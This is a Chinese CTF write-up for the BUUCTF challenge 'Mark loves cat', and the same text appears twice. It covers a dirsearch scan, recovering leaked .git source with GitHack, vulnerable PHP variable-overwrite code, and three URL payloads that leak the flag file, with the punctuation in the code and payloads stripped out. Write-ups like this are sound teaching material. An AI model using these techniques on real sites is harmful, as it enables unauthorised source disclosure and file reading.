题目背景#解题打开网站拉到最底部看到有很多输入框首先想到了sql注入。bp抓包发现有一个GET参数message。经过多个字典尝试发现返回数据包长度都一样。证明这条路走不通。换个方法继续尝试。打开dirsearch进行目录扫描看看。速度开慢一点dirsearch命令dirsearch -u http://cbd4bb86-c3af-45dd-8d73-9e31b47f1a5b.node5.buuoj.cn:81/ -t 1 --delay 0.1扫描结果发现是git源码泄露使用工具GitHack下载源码。之前在这篇文章中介绍过Git源码泄露BUUCTF——[GXYCTF2019]禁止套娃解题记录-CSDN博客这里就不重复写了。GitHack命令python GitHack.py http://cbd4bb86-c3af-45dd-8d73-9e31b47f1a5b.node5.buuoj.cn:81/.git/在GitHack目录下打开这个文件夹其中flag.php文件打开就一句话?php $flag file_get_contents(/flag);继续分析index.php文件。在文件最底部含有PHP代码?php include flag.php; $yds dog; $is cat; $handsome yds; foreach($_POST as $x $y){ $$x $y; } foreach($_GET as $x $y){ $$x $$y; } foreach($_GET as $x $y){ if($_GET[flag] $x $x ! flag){ exit($handsome); } } if(!isset($_GET[flag]) !isset($_POST[flag])){ exit($yds); } if($_POST[flag] flag || $_GET[flag] flag){ exit($is); } echo the flag is: .$flag;变量覆盖漏洞分析题目中的这行代码foreach($_GET as $x $y){ $$x $$y; }foreach函数用于遍历GET参数。$$x 可变变量用一个变量的值作为新变量的名称。我最初理解这里的时候出现了点混乱需引以为戒。继续。代码中出现三次exit()函数对应了题目的三种解法。重点exit(字符串)先输出字符串再终止脚本。解法一foreach($_GET as $x $y){ if($_GET[flag] $x $x ! flag){ exit($handsome); } }这个判断条件要求flag参数的值严格等于参数x的名称参数x的名称不能为flag。构造payload?handsomeflagflagttf页面最底部回显结果注意这个解法的payload有个顺序要求handsomeflag必须放在flagt的前面要不然flag的内容会被覆盖掉。另外这也是个相当巧妙的payload?handsomeflagflaghandsome解法二if(!isset($_GET[flag]) !isset($_POST[flag])){ exit($yds); }这个判断超级简单flag参数也不传了直接覆盖变量$yds的值为flag就行。构造payload?ydsflag解法三if($_POST[flag] flag || $_GET[flag] flag){ exit($is); }用GET或者POST方法传flag参数值同样为flag。构造payload?flagflagisflag这个payload倒是不用关注先后顺序但是注意理解下这个变量类型本质存储位置是否会被$$x$$y修改$_GET[flag]超全局数组的元素PHP预定义数组不会$flag普通变量全局/局部作用域会好了三种方法都成功验证了。一点点感想这个题目初看不以为然flag很容易就搞出来了。后来仔细推敲起题目吧还是有点深意的。其实我一开始没打算利用exit()函数的这个特性而是打算避开这些判断走到最后的echo语句处进行flag的回显。后来仔细想想......就不想了。选择一个payload提交上开心了。Congratulations【个人理解如有不妥欢迎交流指正。】
BUUCTF——[BJDCTF2020]Mark loves cat解题记录
题目背景#解题打开网站拉到最底部看到有很多输入框首先想到了sql注入。bp抓包发现有一个GET参数message。经过多个字典尝试发现返回数据包长度都一样。证明这条路走不通。换个方法继续尝试。打开dirsearch进行目录扫描看看。速度开慢一点dirsearch命令dirsearch -u http://cbd4bb86-c3af-45dd-8d73-9e31b47f1a5b.node5.buuoj.cn:81/ -t 1 --delay 0.1扫描结果发现是git源码泄露使用工具GitHack下载源码。之前在这篇文章中介绍过Git源码泄露BUUCTF——[GXYCTF2019]禁止套娃解题记录-CSDN博客这里就不重复写了。GitHack命令python GitHack.py http://cbd4bb86-c3af-45dd-8d73-9e31b47f1a5b.node5.buuoj.cn:81/.git/在GitHack目录下打开这个文件夹其中flag.php文件打开就一句话?php $flag file_get_contents(/flag);继续分析index.php文件。在文件最底部含有PHP代码?php include flag.php; $yds dog; $is cat; $handsome yds; foreach($_POST as $x $y){ $$x $y; } foreach($_GET as $x $y){ $$x $$y; } foreach($_GET as $x $y){ if($_GET[flag] $x $x ! flag){ exit($handsome); } } if(!isset($_GET[flag]) !isset($_POST[flag])){ exit($yds); } if($_POST[flag] flag || $_GET[flag] flag){ exit($is); } echo the flag is: .$flag;变量覆盖漏洞分析题目中的这行代码foreach($_GET as $x $y){ $$x $$y; }foreach函数用于遍历GET参数。$$x 可变变量用一个变量的值作为新变量的名称。我最初理解这里的时候出现了点混乱需引以为戒。继续。代码中出现三次exit()函数对应了题目的三种解法。重点exit(字符串)先输出字符串再终止脚本。解法一foreach($_GET as $x $y){ if($_GET[flag] $x $x ! flag){ exit($handsome); } }这个判断条件要求flag参数的值严格等于参数x的名称参数x的名称不能为flag。构造payload?handsomeflagflagttf页面最底部回显结果注意这个解法的payload有个顺序要求handsomeflag必须放在flagt的前面要不然flag的内容会被覆盖掉。另外这也是个相当巧妙的payload?handsomeflagflaghandsome解法二if(!isset($_GET[flag]) !isset($_POST[flag])){ exit($yds); }这个判断超级简单flag参数也不传了直接覆盖变量$yds的值为flag就行。构造payload?ydsflag解法三if($_POST[flag] flag || $_GET[flag] flag){ exit($is); }用GET或者POST方法传flag参数值同样为flag。构造payload?flagflagisflag这个payload倒是不用关注先后顺序但是注意理解下这个变量类型本质存储位置是否会被$$x$$y修改$_GET[flag]超全局数组的元素PHP预定义数组不会$flag普通变量全局/局部作用域会好了三种方法都成功验证了。一点点感想这个题目初看不以为然flag很容易就搞出来了。后来仔细推敲起题目吧还是有点深意的。其实我一开始没打算利用exit()函数的这个特性而是打算避开这些判断走到最后的echo语句处进行flag的回显。后来仔细想想......就不想了。选择一个payload提交上开心了。Congratulations【个人理解如有不妥欢迎交流指正。】